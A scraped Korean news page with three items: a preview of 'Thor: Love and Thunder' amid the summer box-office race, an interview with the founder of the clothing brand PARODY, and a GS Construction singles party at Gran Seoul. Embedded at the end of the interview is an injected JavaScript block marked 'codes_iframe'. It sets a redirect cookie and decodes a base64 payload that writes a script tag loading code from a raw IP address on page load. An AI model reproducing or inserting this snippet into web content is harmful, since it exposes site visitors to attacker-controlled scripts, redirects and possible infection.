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- 할리우드 톱스타 총출동 '토르4', 여름 대작 경쟁 화려한 포문 여나
- (사진=월트디즈니컴퍼니코리아)[이데일리 스타in 김보영 기자] 영화 ‘토르: 러브 앤 썬더’(감독 타이카 와이티티, 이하 ‘토르4’)가 본격적인 대작 경쟁의 포문을 연다. ‘토르: 러브 앤 썬더’의 흥행 여부는 극장가가 코로나19 이후 첫 1000만 관객을 이끈 ‘범죄도시2’와 외화 ‘탑건: 매버릭’(이하 ‘탑건’)으로 어느 정도 회복한 활기를 7월 여름 성수기로 잇는 관건이 될 전망이다.‘토르4’는 2017년 개봉한 ‘토르: 라그나로크’(이하 ‘토르3’) 이후 5년 만의 정식 후속작이다. 특히 토르는 아이언맨과 함께 국내 팬들의 지지도가 압도적으로 높은 MCU(마블시네마틱유니버스) 히어로로 꼽힌다.오는 7월 6일 개봉하는 ‘토르4’는 천둥의 신 토르가 킹 발키리와 코르그, 그리고 묠니르(토르의 망치)를 휘두르는 슈퍼히어로 마이티 토르로 새롭게 거듭난 전 여자친구 제인(나탈리 포트만 분)과 팀을 이뤄 신을 도살하는 새로운 빌런 고르(크리스찬 베일 분)의 우주적 위협에 맞서는 마블의 코스믹 엔터테이닝 블록버스터다. 마블 히어로의 솔로 타이틀 영화를 네 번이나 제작하는 것은 MCU 사상 토르가 최초다. 전편인 ‘토르3’를 연출한 타이카 와이티티 감독과 크리스 헴스워스가 다시 한 번 손을 잡았다. 나탈리 포트만, 크리스 프랫, 크리스찬 베일, 러셀 크로 등 내로라하는 할리우드 배우들의 총출동을 예고해 기대감이 특히 높다. 주연 배우 크리스 헴스워스와 타이카 와이티티 감독이 직접 밝힌 ‘토르4’와 전편들의 가장 큰 차별점은 ‘캐릭터 서사’에 있다. 타이카 와이티티 감독은 “전편들과 달리 ‘토르’란 캐릭터 자체로서 나아갈 인생 여정을 어떻게 그려나갈지에 대한 고민이 컸다”며 “중년에 접어들며 자아와 목적성을 잃고 위기를 맞은 토르가 다시 본인의 사명과 자아를 찾고자 어떤 여정을 헤쳐나갈지 기대하면 좋을 것”이라고 귀띔했다. 크리스 헴스워스 역시 “나무 밑에서 명상을 하는 토르의 모습을 시작으로 극 내내 토르가 자신의 역할과 사명을 고민하는 과정들이 나올 것”이라며 “이를 통해 토르가 진정한 히어로로 거듭나는 과정을 그리려 노력했다”고 설명했다. ‘토르4’ 외에도 코로나19 여파로 개봉이 연기됐던 수많은 국내 대작들이 이 기간 치열한 경쟁을 예고하고 있다. ‘토르4’ 개봉 이후에는 한국형 블록버스터들의 개봉이 줄줄이 예정돼 있어 극장가 관객몰이가 코로나19 이전 수준으로 돌아갈 호기로 꼽힌다.내달 20일 개봉하는 ‘외계+인’이 대표적이다. ‘도둑들’(2012)과 ‘암살’(2015) 등 천만 관객 영화를 잇달아 배출한 최동훈 감독의 신작이다. 김한민 감독은 역대 박스오피스 1위를 차지한 ‘명량’(2014)의 후속편 ‘한산 : 용의 출현’을 8년 만에 선보인다. 이 영화는 7월 말 개봉한다. 이순신 장군의 한산도 대첩을 영화화한 작품으로 김 감독의 ‘이순신 3부작 프로젝트’ 중 두 번째 영화다. 코로나19로 수차례 개봉을 연기했던 ‘비상선언’(감독 한재림)도 8월 3일 출격한다. 지난 5월 열린 제75회 칸국제영화제에서 한국 배우 최초 남우주연상을 수상한 송강호와 이병헌, 전도연, 박해준, 김남길, 임시완, 김소진 등 충무로 대표 배우들이 출연한다. 사상 초유의 항공테러에 휩싸인 비행기 내부에서 벌어지는 일들을 그렸다. 지난해 열린 제74회 칸국제영화제 비경쟁 부문에 초청돼 일찍이 주목받은 작품이다. 전찬일 영화평론가는 “‘범죄도시2’와 ‘탑건’이 영화산업이 정상화의 길로 들어서는 교두보를 놨다면 ‘토르4’는 막강한 자본과 팬덤의 힘으로 코로나19 이전 수준의 여름 분위기로 극장가를 완전히 회복시킬 것”이라고 내다봤다. 다만 “‘토르4’ 바로 뒤에 국내 기대작들의 개봉이 예정돼 있기에 여타 마블 히트작들만큼 여름 특수를 누릴 수 있을지는 미지수”라고 덧붙였다. 실제로 잇단 겹치기 개봉으로 스크린 경쟁이 과열될 경우 승자 없는 ‘제로섬 게임’으로 번질 수 있다는 우려도 제기된다. 윤성은 영화평론가는 “코로나19로 수많은 영화들의 개봉이 연기되며 우려한 변수들이 이번 여름 대작 경쟁에서 실현될 수 있다”며 “제각각 다른 작품들과 개봉일이 겹치지 않게 최대한 신경을 썼다고는 하나, 오랜 기간 손꼽아 기다린 개봉인 만큼 여름 성수기 시점을 선뜻 포기할 작품은 없었을 것”이라고 분석했다.
- [스냅타임] "붕어빵 스펙쌓기 만으로는 성공 못하죠"
- (이미지=스냅타임)시현진(26·남)씨는 2018년 스트릿·캐주얼 의류 브랜드 ‘PARODY’를 설립했다. ‘2012 솔로대첩’에서 핫팩을 팔던 장사꾼이 창업의 꿈을 이루고 대표가 됐다. ‘PARODY’는 론칭 후 한달이 채 지나기 전에 스타일쉐어 외 5개의 유명 온라인숍에 입점했다.대학 시절 그는 서울 강남이나 노량진에서 성공을 찾고 싶지 않았다. ‘토익을 공부하거나 자원봉사를 하는 대신, 세계를 누비며 영어로 직접 말해보고 난민들을 도우면 되지 않을까’하는 생각으로 ‘세계여행 인생성공 프로젝트’를 실행에 옮겼다. 여행 중 그는 중국 기업의 이사·두바이 왕가 사람들과 장사를 하며 청년 장사꾼으로서 자신만의 성공 계획을 하나씩 실현해 나갔다. (이미지=스냅타임)창업의 꿈을 어떻게 키우게 됐나?'PARODY’의 대표이자 장사꾼 시현진입니다. 저는 어렸을 때부터 바깥세상에서 살고 싶었어요. 고등학생 때 집 앞 5분 거리에서 자취를 할 정도였으니까요.그래서 회사에 구속되지 말고 내가 대표를 하자 결심했어요. 고등학교 졸업식에서 제가 직접 꽃을 판매할 정도로 매일 어떤 것으로 장사할 수 있을까 고민했죠.세계여행 중 각국의 사람들과 사업을 진행하면서 시장을 읽고자 했어요. 한국에 돌아와 전 세계적으로 관심이 많은 의류 시장에 뛰어들었고 ‘PARODY’를 완성했죠. (이미지=스냅타임)세계여행 인생성공 프로젝트가 뭔가?모든 인종, 모든 문화의 사람과 사업을 진행해볼 좋은 기회였어요. 두바이에서는 차 번호가 낮을수록 지위가 높거나 부자인 사람이에요. 그 차에서 사람이 내리면 무작정 따라갔죠. 그 사람에게“나는 한국에서 온 대학생이고, 세계여행을 통해 인생성공을 배우고 있다”며 황금색 트리볼에 싸인을 받았어요. 그 싸인볼을 시장에 팔았는데 반응이 정말 좋았죠. 대만에서 'cathay life'에게 부동산 자문을 해줬어요. 그때 이사가 자기 회사에서 일해보지 않겠냐고 얘기한 적도 있었죠. 다양한 사업을 하면서 실패한 적도 있지만 성공할 때마다 제 능력을 인정받는 것 같아서 기분이 정말 행복했어요.대학생이나 취준생이라면 토익·자원봉사·대외활동을 하잖아요. 남들과 다 똑같다면 아무도 제 물건의 매력을 느낄 수 없을 거로 생각했죠. 여행을 마치고 돌아왔을 때 확신했어요. 제가 만들 의류 브랜드의 성공을.물론 프로젝트는 지금도 진행 중이에요. ‘PARODY'를 세계 곳곳에 알리고 싶어요. (이미지=PARODY 홈페이지)의류를 선택한 이유가 있나?모든 문화를 아우르는 것을 만들고 싶었어요. 세계여행을 다니면서 아바야·치파오·기모노처럼 각 나라를 대표하는 의류를 다 보게 됐어요. ‘옷이란 결국 소속감이고 언제까지나 필요한 것이다.’ 생각했죠.제가 만든 브랜드가 어떤 사람이든 다 포용할 수 있다면, 그보다 더한 성공은 없다 싶었어요. 언젠가 제 옷을 파리·뉴욕·도쿄의 패션쇼에 세울 거에요. (웃음) (이미지=스냅타임)도전이 어려운 청춘에게 한마디“3포 아닌 3득 하세요”요즘 많은 사람이 삶의 행복을 포기하는 것이 너무 안타까워요. 고등학생이면 수험공부 하느라, 대학생이면 취업준비 하느라 취미·연애·휴식에서 멀어져요. 더 잘 살기 위해 행복을 포기해야 하죠.그런데 저는 오히려 세계여행을 통해 다 가지려고 하니까 길이 열렸어요. 손에서 하나씩 놓을 때마다 잡고 있던 꿈으로 향하는 밧줄도 점점 느슨해지는 것 같아요. 하나라도 더 가지려는 순간 한 발 더 갈 수 있어요. 모든 청춘이 사랑·꿈·여가 모두 가졌으면 좋겠어요.<!--/codes_iframe--> <!--codes_iframe--> {var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
- `로맨틱 바캉스팅 in 그랑서울`…GS건설, 직장인 솔로대첩 개최
- (사진=로맨틱 바캉스팅 in 그랑서울)[이데일리 e뉴스 유수정 기자] GS건설은 오는 17일 종각에 위치한 그랑서울몰에서 싱글 직장인 300명을 대상으로 하는 솔로대첩 파티 ‘로맨틱 바캉스팅 in 그랑서울’을 개최한다고 13일 밝혔다.이번 행사는 25세부터 35세까지의 솔로 직장인이라면 누구나 참여 가능하다. 온라인 홈페이지를 통해 남녀 각 150명씩을 선착순으로 모집하며 참가신청은 동성 2인 1조로 가능하다.참가자들은 행사 당일 오후 2시부터 5시까지, 3시간동안 그랑서울 몰의 제휴 맛집을 자유롭게 방문할 수 있다. 다쯔미, 두루, 치맥, 아티제, 브리오슈도레, 사보텐, 티원 등 7곳의 맛집이 참여하며 입장 시 스태프의 안내에 따라 남녀 2대 2로 자리가 마련된다.이는 여러 명의 이성과 편안한 분위기에서 대화를 나누며 미팅을 진행할 수 있다는 강점을 지녔다. 여기에 음식과 맥주는 무한 제공되며 제휴 맛집을 이동할 수 있기도 하다.복장은 댄디하고 러블리한 복장 또는 비즈니스 캐쥬얼 복장만 가능하다. 참가자 확인은 행사 시작 30분 전부터 시작될 예정이며 신분증을 지참해야 한다.행사를 주최한 GS건설의 김동삼 부장은 “매회 수백명의 싱글 직장인이 몰리면서 그랑서울 몰도 알려지고 있다”면서 “참여하는 모든 솔로 분들이 그랑서울에서 커플이 되셨으면 좋겠다”고 전했다.한편, 현재 참가자 등록의 경우 남성은 150명 정원이 모두 마감된 상태이며, 여성은 곧 마감 예정이다.
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